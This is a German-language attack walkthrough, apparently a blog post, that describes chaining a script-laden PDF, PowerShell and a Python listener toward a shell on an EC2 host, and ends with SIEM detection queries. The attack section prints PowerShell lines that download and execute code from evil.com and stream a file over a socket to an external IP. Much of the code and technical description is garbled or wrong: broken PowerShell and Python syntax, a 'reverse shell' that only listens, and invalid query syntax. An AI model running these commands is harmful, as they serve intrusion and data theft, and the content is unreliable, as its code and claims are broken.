
Eine praktische Kette, die mit einer harmlosen PDF-Datei beginnt und in einer Reverse Shell auf einer AWS EC2-Instanz endet.
Eine praktische Kette, die mit einer harmlosen PDF-Datei beginnt und in einer Reverse Shell auf einer AWS EC2-Instanz endet
Alles beginnt auf der Frontend-Seite des Angriffs. Mit dem eingebauten WScript-Objekt von PowerShell betten wir ein Skript in eine PDF-Datei ein, die an einen Windows-Host ausgeliefert wird. Die Payload zieht eine ausführbare Datei von einem entfernten HTTP-Endpunkt und schreibt sie in das lokale Dateisystem.
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
Der Hauptvorteil ist, dass die PDF keinen separaten Download-Schritt benötigt: Sie übergibt direkt an PowerShell, das dann die nächste Phase der Kette startet.
Sobald das Skript der PDF auf dem Zielhost (10.0.1.5) ausgeführt wird, nutzen wir PowerShell, um eine SMB-Verbindung zu einer EC2-Instanz (54.231.12.41) zu öffnen und die neu heruntergeladene ausführbare Datei über diesen Socket zu übertragen. Derselbe Code kann von jeder Windows-Workstation ausgeführt werden, was dem Angreifer einen unauffälligen Dreh- und Angelpunkt im internen Firmennetzwerk bietet.
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
Das SMB-Paket erscheint in den Windows-Überwachungsprotokollen als Standardereignis (EventID 4624), was es in den meisten SIEM-Dashboards leicht erkennbar macht.
Das letzte Stück unserer Kette ist eine kleine Reverse Shell, geschrieben in Python. Sie lauscht auf eine SSH-Verbindung von EC2 zurück zum selben Host, gibt eine Debug-Zeile auf der Konsole aus und beendet sich. Sobald es in rcmd.py kompiliert wurde, wird es automatisch durch den PowerShell-Schritt oben ausgeführt.
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
Da es sich um eine statische Binärdatei handelt, die nativ unter Windows läuft, muss kein zusätzlicher Agent oder Dienst auf dem Zielhost installiert werden.
Sicherheitsteams sollten davon ausgehen, dass eine Kompromittierung möglich ist, und abgestufte Erkennungsstrategien aufbauen.
**Abnormaler Datenverkehr **
Filtern Sie nach ungewöhnlich großen SMB-Paketen vom Zielhost.
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Hohe Speichernutzung
Die Speichernutzung der Binärdatei, um zu zeigen, dass es sich um einen nicht-trivialen Prozess auf dem Zielhost handelt.
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**Außerhalb der Geschäftszeiten **
Red Teamer werden in der Regel nicht während der Geschäftszeiten ausführen, aus Angst, dass ihr Skript den Benutzer in irgendeiner Weise alarmieren könnte. Diese Abfrage untersucht Datenverkehr zu Zeiten, die unerwartet wären.
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
Dieses Projekt dient ausschließlich zu Bildungs- und Forschungszwecken. Verwenden Sie diese Techniken nicht in unbefugten Umgebungen.